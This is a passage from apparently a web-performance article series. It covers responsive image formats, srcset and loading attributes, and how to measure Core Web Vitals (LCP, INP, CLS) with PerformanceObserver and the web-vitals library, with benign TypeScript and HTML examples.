  <source srcset="image.avif" type="image/avif" />
  <source srcset="image.webp" type="image/webp" />
  <img src="image.jpg" alt="Description" width="800" height="600" />
</picture>
```

**Selection order rationale:**

1. **AVIF first**: Highest compression, 30-50% savings
2. **WebP fallback**: Wide support, 25-34% savings
3. **JPEG/PNG baseline**: Universal compatibility

The browser evaluates sources top-to-bottom, taking the first it supports. This is a **hint, not negotiation**—the browser doesn't compare file sizes, it takes the first supported format.

## Responsive Images

### Width Descriptors and sizes

The `srcset` attribute with width descriptors (`w`) provides multiple image candidates. The `sizes` attribute tells the browser what slot size the image will occupy at different viewports.

```html
<img
  src="image-800.jpg"
  srcset="image-400.jpg 400w, image-800.jpg 800w, image-1200.jpg 1200w, image-1600.jpg 1600w"
  sizes="
    (max-width: 600px) 100vw,
    (max-width: 1200px) 50vw,
    800px
  "
  alt="Product image"
  width="800"
  height="600"
/>
```

**How the browser selects:**

1. Parse `sizes` to determine slot size: first matching media condition wins
2. Calculate required pixels: slot size × DPR
3. Select smallest `srcset` candidate ≥ required pixels

**Example calculation:**

- Viewport: 400px, DPR: 2
- `sizes` matches `(max-width: 600px) 100vw` → slot = 400px
- Required: 400px × 2 = 800px
- Selected: `image-800.jpg 800w`

**Critical rules:**

- `sizes` uses fixed units (pixels, viewport units)—NOT percentages
- Last `sizes` entry must have no media condition (default)
- Always include `src` as fallback for older browsers
- Order `sizes` media conditions carefully—browser uses first match

### Density Descriptors

For images that don't change dimensions across viewports (icons, logos), use density descriptors:

```html
<img src="logo.png" srcset="logo.png 1x, logo@2x.png 2x, logo@3x.png 3x" alt="Logo" width="200" height="50" />
```

Simpler than width descriptors but only targets DPR, not viewport-based sizing.

### Art Direction with picture

When different viewports need different image crops (not just sizes), use `<picture>` with media queries:

```html
<picture>
  <!-- Mobile: portrait crop, full width -->
  <source media="(max-width: 768px)" srcset="hero-mobile-400.jpg 400w, hero-mobile-600.jpg 600w" sizes="100vw" />

  <!-- Desktop: landscape crop, half width -->
  <source media="(min-width: 769px)" srcset="hero-desktop-800.jpg 800w, hero-desktop-1200.jpg 1200w" sizes="50vw" />

  <img src="hero-desktop-800.jpg" alt="Hero" width="800" height="450" />
</picture>
```

**Art direction vs resolution switching:**

- **Resolution switching** (`srcset` alone): Same image, different sizes for bandwidth optimization
- **Art direction** (`<picture>` with `media`): Different images/crops for design purposes

### Combined Format and Responsive

Full implementation combining format negotiation with responsive sizing:

```html
<picture>
  <!-- Mobile art direction + AVIF -->
  <source
    media="(max-width: 768px)"
    srcset="hero-mobile-400.avif 400w, hero-mobile-600.avif 600w"
    sizes="100vw"
    type="image/avif"
  />

  <!-- Mobile art direction + WebP fallback -->
  <source
    media="(max-width: 768px)"
    srcset="hero-mobile-400.webp 400w, hero-mobile-600.webp 600w"
    sizes="100vw"
    type="image/webp"
  />

  <!-- Desktop + AVIF -->
  <source srcset="hero-800.avif 800w, hero-1200.avif 1200w" sizes="(max-width: 1200px) 50vw, 600px" type="image/avif" />

  <!-- Desktop + WebP fallback -->
  <source srcset="hero-800.webp 800w, hero-1200.webp 1200w" sizes="(max-width: 1200px) 50vw, 600px" type="image/webp" />

  <!-- Final fallback: JPEG -->
  <img
    src="hero-800.jpg"
    srcset="hero-800.jpg 800w, hero-1200.jpg 1200w"
    sizes="(max-width: 1200px) 50vw, 600px"
    alt="Hero image"
    width="800"
    height="450"
  />
</picture>
```

## Loading Strategies

### The LCP Image Pattern

LCP images require aggressive loading; all other images should defer:

```html
<!-- LCP image: maximize priority -->
<img
  src="hero.jpg"
  srcset="hero-800.jpg 800w, hero-1200.jpg 1200w"
  sizes="100vw"
  alt="Hero"
  width="1200"
  height="600"
  loading="eager"
  fetchpriority="high"
  decoding="sync"
/>

<!-- Below-the-fold image: minimize impact -->
<img
  src="gallery-item.jpg"
  alt="Gallery"
  width="400"
  height="300"
  loading="lazy"
  fetchpriority="auto"
  decoding="async"
/>
```

| Attribute       | LCP Image                                  | Below-the-fold                     |
| --------------- | ------------------------------------------ | ---------------------------------- |
| `loading`       | `eager` (default, immediate)               | `lazy` (defer until near viewport) |
| `fetchpriority` | `high` (prioritize in HTTP/2 queue)        | `auto` (browser decides)           |
| `decoding`      | `sync` (decode immediately on main thread) | `async` (decode off main thread)   |

### fetchpriority Explained

`fetchpriority` signals importance to the browser's resource scheduler:

- **`high`**: Fetch early, ahead of other resources at same priority level
- **`low`**: Deprioritize, fetch after higher-priority resources
- **`auto`** (default): Browser decides based on heuristics

**Why it matters for LCP:**

- HTTP/2 multiplexes requests but still has bandwidth constraints
- Without hints, browser may prioritize wrong images (e.g., a carousel image before the hero)
- Google Flights achieved LCP improvement from 2.6s to 1.9s with `fetchpriority="high"` on hero images

**Important limitation**: `fetchpriority` is a hint, not a directive. Browsers apply their own heuristics and may override.

### decoding Explained

The `decoding` attribute controls how the browser schedules image decoding relative to other content:

| Value   | Behavior                                           | Default In     |
| ------- | -------------------------------------------------- | -------------- |
| `sync`  | Block other content updates until decode completes | Chrome, Safari |
| `async` | Allow other content to render while decoding       | Firefox        |
| `auto`  | Browser decides                                    | —              |

**Trade-off:**

- `decoding="async"` keeps the main thread free but can cause visible "pop-in" if the image decodes after surrounding content renders
- `decoding="sync"` ensures the image appears with surrounding content but blocks rendering

**Design rationale:** For LCP images, the blocking behavior of `sync` is acceptable because you want the largest visible element to render as soon as possible. For gallery images below the fold, `async` prevents decode work from blocking other interactions.

### Native Lazy Loading

`loading="lazy"` defers fetching until the image is near the viewport:

```html
<img src="gallery.jpg" alt="Gallery item" width="400" height="300" loading="lazy" />
```

**Browser behavior:**

- Chrome: Starts loading when image is ~1250px from viewport (varies by connection speed)
- Images with no `width`/`height` may cause CLS when they pop in
- Only works when JavaScript is enabled (anti-tracking measure)

**Critical rule**: Never use `loading="lazy"` on LCP candidates. The browser doesn't know which image will be LCP until it's too late.

### Preloading LCP Images

For images discovered late (CSS backgrounds, JavaScript-loaded), use preload:

```html
<head>
  <!-- Preload LCP image with format negotiation -->
  <link rel="preload" as="image" href="hero.avif" type="image/avif" fetchpriority="high" />
  <link rel="preload" as="image" href="hero.webp" type="image/webp" fetchpriority="high" />
</head>
```

**When to preload:**

- CSS `background-image` (not in HTML, discovered after CSS parses)
- JavaScript-loaded images
- Images behind lazy-loaded components

**When NOT to preload:**

- Images in HTML `<img>` tags above the fold—browser already discovers them early

## Programmatic Control

### Intersection Observer for Lazy Loading

For finer control than native `loading="lazy"`:

```ts title="intersection-observer-lazy.ts" collapse={1-3, 20-25}
const lazyImages = document.querySelectorAll<HTMLImageElement>("img[data-src]")

const observer = new IntersectionObserver(
  (entries) => {
    entries.forEach((entry) => {
      if (!entry.isIntersecting) return

      const img = entry.target as HTMLImageElement
      img.src = img.dataset.src!

      // Use decode() to avoid flash of unloaded image
      img
        .decode()
        .then(() => img.classList.add("loaded"))
        .catch(() => console.error("Decode failed:", img.src))

      observer.unobserve(img)
    })
  },
  {
    rootMargin: "200px", // Start loading 200px before entering viewport
    threshold: 0.1,
  },
)

lazyImages.forEach((img) => observer.observe(img))
```

**Why use `decode()`?** The `img.decode()` method returns a Promise that resolves when the image is fully decoded and ready to render. This prevents the "flash" where the image element appears but the pixels haven't loaded yet.

### Network-Aware Loading

Adapt image quality based on connection:

```ts title="network-aware-loading.ts" collapse={1-5, 25-35}
interface ConnectionInfo {
  effectiveType: "slow-2g" | "2g" | "3g" | "4g"
  downlink: number // Mbps
  saveData: boolean
}

function getImageQuality(): number {
  const connection = (navigator as Navigator & { connection?: ConnectionInfo }).connection

  if (!connection) return 80 // Default for unsupported browsers

  if (connection.saveData) return 50 // User explicitly requested data saving
  if (connection.effectiveType === "slow-2g") return 40
  if (connection.effectiveType === "2g") return 50
  if (connection.effectiveType === "3g") return 70
  return 85 // 4G or better
}

function buildImageUrl(basePath: string, width: number): string {
  const quality = getImageQuality()
  return `${basePath}?w=${width}&q=${quality}&f=auto`
}
```

**Effective connection types:**

- `slow-2g`: ~50 Kbps, RTT > 2000ms
- `2g`: ~70 Kbps, RTT ~1400ms
- `3g`: ~700 Kbps, RTT ~270ms
- `4g`: ≥700 Kbps, RTT < 100ms

The Network Information API has ~75% browser support. Always provide a sensible default for unsupported browsers.

## Server-Side Generation

### Build-Time Optimization with Sharp

```ts title="generate-responsive-images.ts" collapse={1-5, 35-45}
import sharp from "sharp"
import path from "path"

const WIDTHS = [400, 800, 1200, 1600]
const FORMATS = ["avif", "webp"] as const

interface OutputFile {
  path: string
  width: number
  format: string
  size: number
}

async function generateResponsiveImages(inputPath: string, outputDir: string): Promise<OutputFile[]> {
  const outputs: OutputFile[] = []
  const baseName = path.basename(inputPath, path.extname(inputPath))

  for (const width of WIDTHS) {
    for (const format of FORMATS) {
      const outputPath = path.join(outputDir, `${baseName}-${width}.${format}`)

      const info = await sharp(inputPath)
        .resize(width, null, { withoutEnlargement: true })
        .toFormat(format, {
          quality: format === "avif" ? 65 : 80, // AVIF needs lower quality number for equivalent visual quality
          effort: format === "avif" ? 4 : 6, // Encoding effort (higher = slower, better compression)
        })
        .toFile(outputPath)

      outputs.push({ path: outputPath, width, format, size: info.size })
    }
  }

  return outputs
}
```

**AVIF quality settings:**

- Quality 60-70 for photos typically matches JPEG quality 80-85
- `effort` 4-6 balances encoding time and compression (9 is maximum, very slow)

### Image CDN Integration

Modern image CDNs (Cloudinary, imgix, Cloudflare Images) handle format negotiation and resizing at the edge:

```html
<!-- Cloudflare Images: automatic format via Accept header -->
<img
  src="https://example.com/cdn-cgi/image/width=800,quality=80,format=auto/images/hero.jpg"
  srcset="
    https://example.com/cdn-cgi/image/width=400,quality=80,format=auto/images/hero.jpg   400w,
    https://example.com/cdn-cgi/image/width=800,quality=80,format=auto/images/hero.jpg   800w,
    https://example.com/cdn-cgi/image/width=1200,quality=80,format=auto/images/hero.jpg 1200w
  "
  sizes="(max-width: 600px) 100vw, 50vw"
  alt="Hero"
  width="800"
  height="450"
/>
```

**Why use an image CDN?**

- Format negotiation based on `Accept` header (serves AVIF to supported browsers automatically)
- On-demand resizing without build-time generation
- Edge caching for global delivery
- Automatic quality optimization

**Trade-off:** Adds external dependency and per-request cost. Build-time optimization is free at runtime.

## Performance Monitoring

### Tracking Image Impact on LCP

```ts title="lcp-image-tracking.ts" collapse={1-3, 20-25}
const lcpObserver = new PerformanceObserver((list) => {
  const entries = list.getEntries()
  const lastEntry = entries[entries.length - 1] as PerformanceEntry & {
    element?: Element
    url?: string
    size?: number
    renderTime?: number
    loadTime?: number
  }

  if (lastEntry.element?.tagName === "IMG") {
    console.log("LCP element:", lastEntry.element)
    console.log("LCP time:", lastEntry.renderTime || lastEntry.loadTime)
    console.log("Image URL:", lastEntry.url)
    console.log("Image size (px²):", lastEntry.size)
  }
})

lcpObserver.observe({ type: "largest-contentful-paint", buffered: true })
```

### Tracking Image Resource Performance

```ts title="image-resource-tracking.ts" collapse={1-2, 18-22}
const resourceObserver = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    const resource = entry as PerformanceResourceTiming

    if (resource.initiatorType !== "img") continue

    const metrics = {
      url: resource.name,
      transferSize: resource.transferSize,
      encodedBodySize: resource.encodedBodySize,
      decodedBodySize: resource.decodedBodySize,
      duration: resource.responseEnd - resource.startTime,
      ttfb: resource.responseStart - resource.startTime,
    }

    console.log("Image loaded:", metrics)
  }
})

resourceObserver.observe({ type: "resource", buffered: true })
```

## Conclusion

Image optimization requires treating LCP images differently from everything else. LCP images need aggressive loading (`eager`, `fetchpriority="high"`, `decoding="sync"`), while below-the-fold images should defer (`lazy`, `async`).

Format selection follows a clear priority: AVIF (30-50% smaller than JPEG, ~95% support) → WebP (25-34% smaller, ~96% support) → JPEG fallback. Use `<picture>` for format negotiation and art direction.

Responsive images prevent oversized downloads: `srcset` provides candidates, `sizes` tells the browser the slot size, and the browser calculates required pixels based on DPR. Always set explicit `width` and `height` to prevent CLS.

For production systems, build-time optimization (Sharp) works for static sites; image CDNs provide runtime flexibility with edge delivery. Monitor LCP element identification and image resource timing to verify optimizations are effective.

## Appendix

### Prerequisites

- Understanding of HTTP/2 resource prioritization
- Familiarity with browser rendering pipeline (when images block paint)
- Basic knowledge of Core Web Vitals (LCP, CLS)

### Terminology

- **AVIF**: AV1 Image File Format—image format based on AV1 video codec
- **CLS**: Cumulative Layout Shift—Core Web Vital measuring visual stability
- **DCT**: Discrete Cosine Transform—mathematical transformation used in JPEG compression
- **DPR**: Device Pixel Ratio—ratio of physical to CSS pixels (e.g., 2x for Retina)
- **LCP**: Largest Contentful Paint—Core Web Vital measuring perceived load time
- **SSIM**: Structural Similarity Index—metric comparing perceived image quality
- **WebP**: Image format developed by Google based on VP8 video codec

### Summary

- **Format priority**: AVIF (30-50% smaller) → WebP (25-34% smaller) → JPEG fallback; use `<picture>` for negotiation
- **Responsive images**: `srcset` with width descriptors + `sizes` for slot hints; browser calculates required pixels from slot × DPR
- **LCP images**: `loading="eager"`, `fetchpriority="high"`, `decoding="sync"`—opposite of below-fold images
- **Below-fold images**: `loading="lazy"`, `fetchpriority="auto"`, `decoding="async"` to minimize initial load impact
- **Always set dimensions**: `width` and `height` attributes prevent CLS on lazy-loaded images
- **JPEG XL**: Chrome re-adding support (2025); Safari 17+ native; potential future default format

### References

**Specifications**

- [AVIF Specification (AOM)](https://aomediacodec.github.io/av1-avif/) - AV1 Image File Format specification
- [JPEG XL (ISO/IEC 18181)](https://www.iso.org/standard/87633.html) - JPEG XL codec specification
- [WebP Container Specification (Google)](https://developers.google.com/speed/webp/docs/riff_container) - WebP RIFF container format
- [WHATWG HTML - img element](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) - Responsive images specification

**Official Documentation**

- [MDN - Responsive Images](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) - srcset, sizes, and picture element guide
- [MDN - HTMLImageElement.decoding](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/decoding) - decoding attribute behavior
- [MDN - img element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/img) - loading, fetchpriority attributes
- [web.dev - Optimize LCP](https://web.dev/articles/optimize-lcp) - LCP image optimization strategies
- [web.dev - Fetch Priority](https://web.dev/articles/fetch-priority) - fetchpriority attribute usage

**Browser Support**

- [Can I Use - AVIF](https://caniuse.com/avif) - ~95% global support
- [Can I Use - WebP](https://caniuse.com/webp) - ~96% global support
- [Chrome JPEG XL Support (DevClass)](https://devclass.com/2025/11/24/googles-chromium-team-decides-it-will-add-jpeg-xl-support-reverses-obsolete-declaration/) - Chrome re-adding JPEG XL

**Tools**

- [Sharp (Node.js)](https://sharp.pixelplumbing.com/) - High-performance image processing library
- [Squoosh (Google)](https://squoosh.app/) - Browser-based image compression comparison

---

## Core Web Vitals Measurement: Lab vs Field Data

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/web-performance-optimization/core-web-vitals-measurement
**Category:** Frontend Engineering / Web Performance Optimization
**Description:** How to measure, interpret, and debug Core Web Vitals using lab tools, field data (Real User Monitoring), and the web-vitals library. Covers metric-specific diagnostics for LCP, INP, and CLS with implementation patterns for production RUM pipelines.

# Core Web Vitals Measurement: Lab vs Field Data

How to measure, interpret, and debug Core Web Vitals using lab tools, field data (Real User Monitoring), and the web-vitals library. Covers metric-specific diagnostics for LCP, INP, and CLS with implementation patterns for production RUM pipelines.

<figure>

![Core Web Vitals measurement architecture: from browser APIs to analytics pipelines](./core-web-vitals-measurement-architecture-from-browser-apis-to-analytics-pipeline.svg)

<figcaption>Core Web Vitals measurement architecture: from browser APIs to analytics pipelines</figcaption>

</figure>

## Abstract

Core Web Vitals measurement splits into two fundamentally different contexts: **lab data** (synthetic, controlled) and **field data** (real users, variable conditions). Lab tools like Lighthouse provide reproducible diagnostics but cannot predict real-world performance—cache state, device diversity, and actual interaction patterns create systematic gaps. Field data from Chrome User Experience Report (CrUX) or custom Real User Monitoring (RUM) captures the 75th percentile experience that determines Google's ranking signals.

The mental model:

- **Lab data** answers "what's the best this page can do?" and "what changed in this deploy?"
- **Field data** answers "what are real users experiencing?" and "are we meeting Core Web Vitals thresholds?"
- **Attribution data** answers "why is this metric slow?" with element-level and timing-breakdown diagnostics

Each metric has distinct measurement nuances:

- **LCP** (Largest Contentful Paint): Four quantifiable subparts (Time to First Byte (TTFB), resource load delay, resource load time, element render delay)—median poor-LCP sites spend >50% of the 2.5s budget before the LCP resource even starts downloading
- **INP** (Interaction to Next Paint): Three-phase breakdown (input delay + processing time + presentation delay) with outlier filtering (ignores 1 per 50 interactions)
- **CLS** (Cumulative Layout Shift): Session windows with `hadRecentInput` exclusion—shifts within 500ms of user action are marked expected

The `web-vitals` library (v5.x) is the canonical implementation for RUM collection. Its attribution build adds ~1.5KB but provides root-cause data essential for debugging. For field data at scale, CrUX provides origin-level aggregates via BigQuery (monthly) and page-level data via the CrUX API (daily updates).

## Lab vs Field: Fundamental Differences

Lab and field data measure the same metrics but produce systematically different results. Understanding these differences is essential for interpreting measurements and prioritizing optimization work.

### Lab Data Characteristics

Lab tools (Lighthouse, WebPageTest, Chrome DevTools) run in controlled environments with predefined conditions:

| Parameter        | Typical Lab Setting                | Real-World Reality                     |
| ---------------- | ---------------------------------- | -------------------------------------- |
| **Network**      | 1.6 Mbps, 150ms RTT (simulated 4G) | Variable: 50 Mbps fiber to 100 Kbps 2G |
| **CPU**          | 4x throttling on fast desktop      | Low-end Android: actual 2-4 GFLOPS     |
| **Cache**        | Always cold (cleared before test)  | Often warm for returning visitors      |
| **Viewport**     | Fixed 412×823 (mobile) or 1350×940 | Diverse: 320px to 4K displays          |
| **Interactions** | None (or scripted clicks)          | Real user patterns, scroll depth       |

Lab data provides **reproducible baselines** and **regression detection** but cannot capture the diversity of real-world conditions. A Lighthouse score of 95 does not guarantee good field metrics.

### Field Data Characteristics

Field data from CrUX or custom RUM aggregates real user experiences:

- **28-day rolling average**: CrUX smooths daily variation but lags behind deploys
- **75th percentile**: The reported value means 75% of experiences were better—this is the threshold for "passing" Core Web Vitals
- **Traffic-weighted**: High-traffic pages dominate origin-level metrics
- **Cache-aware**: Returning visitors often have cached resources, improving LCP

> **Design rationale for 75th percentile**: Google chose p75 as a balance between capturing "most users" (median would miss the long tail) and being achievable (p95 would fail most sites on edge cases). The 75th percentile roughly corresponds to "the experience of users on slower connections or devices."

### When Lab and Field Diverge

Common scenarios where lab and field metrics differ significantly:

| Scenario                    | Lab Result                     | Field Result                 | Why                                         |
| --------------------------- | ------------------------------ | ---------------------------- | ------------------------------------------- |
| **Cached resources**        | Always misses cache            | Returning visitors hit cache | Field LCP can be much faster                |
| **Lazy-loaded images**      | Fixed viewport, limited scroll | Users scroll variably        | Field CLS includes shifts from lazy content |
| **Personalization**         | Static content                 | User-specific content        | Different LCP elements per user segment     |
| **Third-party scripts**     | May load fully                 | May be blocked (ad blockers) | Field may show better or worse performance  |
| **Geographic distribution** | Single origin location         | Global user base             | Latency varies dramatically by region       |

**Practical guidance**: If you have both lab and field data for a page, prioritize field data for understanding user experience. Use lab data for debugging specific issues and validating fixes before deploy.

## Measurement APIs and the web-vitals Library

### PerformanceObserver Entry Types

The browser exposes Core Web Vitals through `PerformanceObserver` with specific entry types:

| Metric  | Entry Type                 | Key Properties                                                        |
| ------- | -------------------------- | --------------------------------------------------------------------- |
| **LCP** | `largest-contentful-paint` | `element`, `renderTime`, `loadTime`, `size`, `url`                    |
| **CLS** | `layout-shift`             | `value`, `hadRecentInput`, `sources[]`                                |
| **INP** | `event`                    | `startTime`, `processingStart`, `processingEnd`, `duration`, `target` |

Critical configuration details:

```ts title="performance-observer-setup.ts" collapse={1-2, 17-20}
// Basic LCP observation
const lcpObserver = new PerformanceObserver((list) => {
  const entries = list.getEntries()
  const lastEntry = entries[entries.length - 1]
  console.log("LCP candidate:", lastEntry.startTime, lastEntry.element)
})

// IMPORTANT: Use `type` not `entryTypes` when using buffered or durationThreshold
lcpObserver.observe({
  type: "largest-contentful-paint",
  buffered: true, // Retrieve entries from before observer was created
})

// For event timing (INP), lower threshold captures more interactions
const eventObserver = new PerformanceObserver((list) => {
  /* ... */
})
eventObserver.observe({
  type: "event",
  durationThreshold: 16, // Default is 104ms; minimum is 16ms (one frame at 60fps)
  buffered: true,
})
```

**Why `type` instead of `entryTypes`?** The `buffered` and `durationThreshold` options only work with `type` (single entry type). Using `entryTypes` (array) silently ignores these options—a common source of bugs in RUM implementations.

**`durationThreshold` design**: The default 104ms threshold (first multiple of 8 above 100ms) filters out brief interactions that don't indicate responsiveness problems. The 8ms granularity exists for security (mitigates timing attacks). For comprehensive measurement, set `durationThreshold: 16` (minimum, one frame at 60fps).

### The web-vitals Library

Google's `web-vitals` library (v5.x, ~2KB brotli) provides the canonical implementation of metric collection:

```ts title="web-vitals-basic.ts" collapse={1-2, 15-20}
import { onLCP, onINP, onCLS, onTTFB, onFCP } from "web-vitals"

// Each callback receives a metric object with:
// - name: 'LCP' | 'INP' | 'CLS' | etc.
// - value: The metric value
// - delta: Change since last report (important for CLS)
// - id: Unique identifier for this page load
// - rating: 'good' | 'needs-improvement' | 'poor'
// - entries: Array of PerformanceEntry objects

onLCP((metric) => {
  sendToAnalytics({ name: metric.name, value: metric.value, rating: metric.rating })
})

onINP((metric) => {
  /* ... */
})
onCLS((metric) => {
  /* ... */
})
```

**The `delta` property is critical for analytics**: CLS accumulates over the session. If you send `metric.value` on every callback, your aggregate CLS will be inflated. Always use `metric.delta` for analytics systems that sum values.

### Attribution Build for Debugging

The attribution build (~3.5KB brotli) adds diagnostic data essential for root-cause analysis:

```ts title="web-vitals-attribution.ts" collapse={1-3, 20-25}
import { onLCP, onINP, onCLS } from "web-vitals/attribution"

onLCP((metric) => {
  const { attribution } = metric
  console.log("LCP Element:", attribution.element)
  console.log("LCP URL:", attribution.url) // Image/video source if applicable

  // LCP subpart breakdown (see next section)
  console.log("TTFB:", attribution.timeToFirstByte)
  console.log("Resource Load Delay:", attribution.resourceLoadDelay)
  console.log("Resource Load Time:", attribution.resourceLoadTime)
  console.log("Element Render Delay:", attribution.elementRenderDelay)
})

onINP((metric) => {
  const { attribution } = metric
  console.log("Interaction target:", attribution.interactionTarget)
  console.log("Input delay:", attribution.inputDelay)
  console.log("Processing time:", attribution.processingDuration)
  console.log("Presentation delay:", attribution.presentationDelay)
})

onCLS((metric) => {
  const { attribution } = metric
  console.log("Largest shift target:", attribution.largestShiftTarget)
  console.log("Largest shift value:", attribution.largestShiftValue)
  console.log("Largest shift time:", attribution.largestShiftTime)
})
```

## LCP Measurement and Diagnostics

### Qualifying Elements

The W3C Largest Contentful Paint specification defines which elements can be LCP candidates:

- `<img>` elements (including `<img>` inside `<picture>`)
- `<image>` elements inside SVG
- `<video>` elements (poster image)
- Elements with `background-image` via CSS
- Block-level elements containing text nodes

**Exclusions** (elements that cannot be LCP):

- Elements with `opacity: 0`
- Elements covering the full viewport (treated as background)
- Placeholder/low-quality images: images with file size < 0.004 bytes per pixel
- Elements that are scrolled out of the viewport before rendering completes

### LCP Subparts Breakdown

LCP can be decomposed into four measurable subparts, each pointing to different optimization strategies:

```
|← TTFB →|← Resource Load Delay →|← Resource Load Time →|← Element Render Delay →|
0        Server responds         Browser starts         Resource fully           LCP element
         with first byte         fetching LCP           downloaded               rendered
                                 resource
```

| Subpart                  | What It Measures                              | Optimization Target                     |
| ------------------------ | --------------------------------------------- | --------------------------------------- |
| **TTFB**                 | Server response time                          | Origin speed, CDN, caching              |
| **Resource Load Delay**  | Time from TTFB to starting LCP resource fetch | Resource discoverability, preload hints |
| **Resource Load Time**   | Download duration of LCP resource             | Image optimization, CDN                 |
| **Element Render Delay** | Time from download complete to paint          | Render-blocking JS/CSS, main thread     |

**Recommended distribution**: 40% TTFB, 40% Resource Load Time, 20% combined delays.

**Real-world finding**: Median poor-LCP sites have 1.3 seconds of Resource Load Delay—consuming over 50% of the 2.5s "good" budget before the LCP resource even starts downloading. This happens when the browser discovers the LCP image late (e.g., via JavaScript, CSS background, or deep in the DOM).

### LCP Measurement Code with Subparts

```ts title="lcp-diagnostics.ts" collapse={1-4, 25-30}
import { onLCP } from "web-vitals/attribution"

interface LCPDiagnostics {
  totalLCP: number
  ttfb: number
  resourceLoadDelay: number
  resourceLoadTime: number
  elementRenderDelay: number
  element: string
  url: string | null
}

onLCP((metric) => {
  const { attribution } = metric

  const diagnostics: LCPDiagnostics = {
    totalLCP: metric.value,
    ttfb: attribution.timeToFirstByte,
    resourceLoadDelay: attribution.resourceLoadDelay,
    resourceLoadTime: attribution.resourceLoadTime,
    elementRenderDelay: attribution.elementRenderDelay,
    element: attribution.element || "unknown",
    url: attribution.url || null,
  }

  // Identify which subpart is the bottleneck
  const subparts = [
    { name: "TTFB", value: diagnostics.ttfb },
    { name: "Resource Load Delay", value: diagnostics.resourceLoadDelay },
    { name: "Resource Load Time", value: diagnostics.resourceLoadTime },
    { name: "Element Render Delay", value: diagnostics.elementRenderDelay },
  ]

  const bottleneck = subparts.reduce((max, curr) => (curr.value > max.value ? curr : max))

  sendToAnalytics({
    ...diagnostics,
    bottleneck: bottleneck.name,
  })
})
```

## INP Measurement and Diagnostics

### The INP Processing Model

INP measures the latency of user interactions across the entire page session. Each interaction has three phases:

```
|← Input Delay →|← Processing Time →|← Presentation Delay →|
User action     Event handlers      Handlers complete,      Next frame
(click/key/     start running       browser computes        painted
 tap)                               layout/paint
```

| Phase                  | What It Measures                       | Common Causes of Slowness               |
| ---------------------- | -------------------------------------- | --------------------------------------- |
| **Input Delay**        | Time from user action to handler start | Main thread blocked by other tasks      |
| **Processing Time**    | Event handler execution duration       | Expensive handler logic, forced reflows |
| **Presentation Delay** | Time from handler end to visual update | Large DOM updates, layout thrashing     |

### Interaction Grouping

Multiple events from a single user action (e.g., `keydown`, `keypress`, `keyup` for a keystroke, or `pointerdown`, `pointerup`, `click` for a tap) are grouped into a single "interaction." The interaction's latency is the maximum duration among its events.

**Measured event types**: `click`, `keydown`, `keyup`, `pointerdown`, `pointerup`, `mousedown`, `mouseup`

**Excluded** (continuous events): `mousemove`, `pointermove`, `touchmove`, `scroll`, `wheel`

### Worst Interaction Selection with Outlier Handling

INP doesn't report the absolute worst interaction—it uses outlier filtering to prevent random hiccups from inflating the score:

- **<50 interactions**: INP = worst interaction latency
- **≥50 interactions**: INP ≈ 98th percentile (one outlier ignored per 50 interactions)

**Design rationale**: A generally responsive page with one 2-second interaction caused by a network glitch shouldn't fail INP. The outlier filtering approximates "typical worst-case" rather than "absolute worst-case."

**Implementation efficiency**: Browsers don't store all interactions. They maintain a small list (typically 10) of the worst-N interactions, sufficient for the p98 approximation without memory concerns on long sessions.

### INP Diagnostics Code

```ts title="inp-diagnostics.ts" collapse={1-4, 30-35}
import { onINP } from "web-vitals/attribution"

interface INPDiagnostics {
  totalINP: number
  inputDelay: number
  processingTime: number
  presentationDelay: number
  interactionTarget: string
  interactionType: string
}

onINP((metric) => {
  const { attribution } = metric

  const diagnostics: INPDiagnostics = {
    totalINP: metric.value,
    inputDelay: attribution.inputDelay,
    processingTime: attribution.processingDuration,
    presentationDelay: attribution.presentationDelay,
    interactionTarget: attribution.interactionTarget || "unknown",
    interactionType: attribution.interactionType || "unknown",
  }

  // Identify the dominant phase
  const phases = [
    { name: "inputDelay", value: diagnostics.inputDelay },
    { name: "processingTime", value: diagnostics.processingTime },
    { name: "presentationDelay", value: diagnostics.presentationDelay },
  ]

  const dominant = phases.reduce((max, curr) => (curr.value > max.value ? curr : max))

  // High input delay → main thread was blocked (long task)
  // High processing time → slow event handler
  // High presentation delay → expensive layout/paint after handler

  sendToAnalytics({
    ...diagnostics,
    dominantPhase: dominant.name,
    recommendation: getRecommendation(dominant.name),
  })
})

function getRecommendation(phase: string): string {
  switch (phase) {
    case "inputDelay":
      return "Break up long tasks with scheduler.yield()"
    case "processingTime":
      return "Optimize event handler or defer work"
    case "presentationDelay":
      return "Reduce DOM mutations, avoid forced reflows"
    default:
      return ""
  }
}
```

## CLS Measurement and Diagnostics

### Session Windows

CLS doesn't sum all layout shifts—it uses session windows to group related shifts:

- A **session window** starts with a layout shift and includes all shifts within 1 second of the previous shift
- Each window has a maximum duration of 5 seconds
- **CLS = maximum session window score** (not the sum of all windows)

**Design rationale**: Long-lived single-page applications (SPAs) would accumulate infinite CLS if all shifts were summed. Session windows capture "bursts" of instability while ignoring isolated, minor shifts spread across a long session.

### Expected vs Unexpected Shifts

The Layout Instability API marks shifts as "expected" (via `hadRecentInput: true`) when they occur within 500ms of discrete user input:

```ts title="cls-filtering.ts"
new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    // Skip shifts caused by user interaction
    if (entry.hadRecentInput) continue

    // Only count unexpected shifts
    reportCLSShift(entry.value, entry.sources)
  }
}).observe({ type: "layout-shift", buffered: true })
```

**Qualifying inputs for `hadRecentInput`**: `mousedown`, `keydown`, `pointerdown` (within 500ms before the shift)

**Why 500ms?** This window covers the typical delay between user action and resulting layout change (e.g., clicking an accordion). Shifts outside this window are considered "unexpected" and degrade user experience.

### Layout Shift Sources

Each `layout-shift` entry includes `sources[]` identifying which elements moved:

```ts title="cls-sources.ts" collapse={1-2}
interface LayoutShiftSource {
  node: Node | null // The element that shifted (may be null if removed)
  previousRect: DOMRectReadOnly // Position before shift
  currentRect: DOMRectReadOnly // Position after shift
}

// The shift value is calculated from the impact region:
// (intersection of viewport with union of previous and current rects)
// divided by viewport area, weighted by distance fraction
```

### CLS Diagnostics Code

```ts title="cls-diagnostics.ts" collapse={1-4, 25-30}
import { onCLS } from "web-vitals/attribution"

interface CLSDiagnostics {
  totalCLS: number
  largestShiftTarget: string
  largestShiftValue: number
  largestShiftTime: number
  shiftCount: number
}

onCLS((metric) => {
